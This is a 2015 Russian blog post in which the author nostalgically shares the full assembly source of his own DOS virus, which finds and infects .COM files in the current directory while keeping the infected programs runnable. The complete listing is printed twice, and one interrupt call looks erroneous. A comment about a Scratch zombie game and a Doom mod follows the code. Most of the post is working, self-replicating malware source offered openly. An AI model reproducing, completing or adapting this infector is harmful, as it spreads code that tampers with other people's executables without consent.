Как молоды мы были
May. 16th, 2015 06:41 pmНиже - авторский нерезидентный вирусок под дос. Кушает *.com ( https://ru.wikipedia.org/wiki/.COM ) в текущем каталоге, сохраняет работоспособность носителя.
; [03.03.o1]
; реликтовый рыжий лесной таракан
.model tiny
.code
.radix 16
org 0100
vsize equ offset finsh-nitra
nitra:
; чтобы не заражать самого себя
db 4dh
; следующий сегмент
mov ax,es
add ah,10
mov es,ax
; копируем содержимое dta
sub si,si
mov di,si
mov cx,0100+vsize
repz movsb
; поищем по маске
lea dx,fmask
mov ah,4e
int 20
jb getto
; откроем файл для записи
wher2:
mov ax,3d02
mov dx,009e
int 21
jb getto
push es ;;
pop ds ;;
; прочтем 62 килобайта
xchg bx,ax
mov ah,3f
mov cx,0f800
mov dx,di
int 21
; проверка exehdr
mov word ptr [wher1+01],ax
cmp byte ptr [di],4dh
jz cloze
add ax,vsize
push ax ;;
; ставим указатель на начало
mov ax,4200
cwd
mov cx,dx
int 21
; запишем измененный файл
mov ah,40
pop cx ;;
mov dx,0100
int 21
; закрываем
cloze:
push cs ;;
pop ds ;;
mov ah,3e
int 21
; следующий экземпляр пжалста
mov ah,4f
int 21
jnb wher2
; подготовка к возврату
getto:
push es ;;
pop ds ;;
push cs ;;
pop es ;;
; ставим dta на место
sub si,si
mov di,si
mov cx,0100
repz movsb
push cs ;;
pop ds ;;
; запись кода repz movsb
dec di
dec di
mov ax,0a4f3
push di ;;
stosw
mov si,0100+vsize
wher1:
mov cx,0002
retn
fmask db "*.CoM",00h
db "NitRa"
finsh:
dw 20cdh
end nitra
; [03.03.o1]
; реликтовый рыжий лесной таракан
.model tiny
.code
.radix 16
org 0100
vsize equ offset finsh-nitra
nitra:
; чтобы не заражать самого себя
db 4dh
; следующий сегмент
mov ax,es
add ah,10
mov es,ax
; копируем содержимое dta
sub si,si
mov di,si
mov cx,0100+vsize
repz movsb
; поищем по маске
lea dx,fmask
mov ah,4e
int 20
jb getto
; откроем файл для записи
wher2:
mov ax,3d02
mov dx,009e
int 21
jb getto
push es ;;
pop ds ;;
; прочтем 62 килобайта
xchg bx,ax
mov ah,3f
mov cx,0f800
mov dx,di
int 21
; проверка exehdr
mov word ptr [wher1+01],ax
cmp byte ptr [di],4dh
jz cloze
add ax,vsize
push ax ;;
; ставим указатель на начало
mov ax,4200
cwd
mov cx,dx
int 21
; запишем измененный файл
mov ah,40
pop cx ;;
mov dx,0100
int 21
; закрываем
cloze:
push cs ;;
pop ds ;;
mov ah,3e
int 21
; следующий экземпляр пжалста
mov ah,4f
int 21
jnb wher2
; подготовка к возврату
getto:
push es ;;
pop ds ;;
push cs ;;
pop es ;;
; ставим dta на место
sub si,si
mov di,si
mov cx,0100
repz movsb
push cs ;;
pop ds ;;
; запись кода repz movsb
dec di
dec di
mov ax,0a4f3
push di ;;
stosw
mov si,0100+vsize
wher1:
mov cx,0002
retn
fmask db "*.CoM",00h
db "NitRa"
finsh:
dw 20cdh
end nitra
no subject
Date: 2015-05-16 07:54 pm (UTC)http://habrahabr.ru/post/234823/
оттуда же, игра про зомби
https://scratch.mit.edu/projects/19312684/
они самонаводятся, причем наводятся так, что сливаются в один спрайт
/если кто играл в дум2, от головешек Revenant'а можно убегать, он спавнит еще, они все сливаются в одну из-за алго самонаведения/
смахивая слезу,
я в 1996 такое делал на бейсике.
погуглил "revenant", наткнулся на мод brutal doom :)
http://www.moddb.com/mods/brutal-doom
NSFW violence and gore, если что я предупреждал.
5 июня выходит версия 20.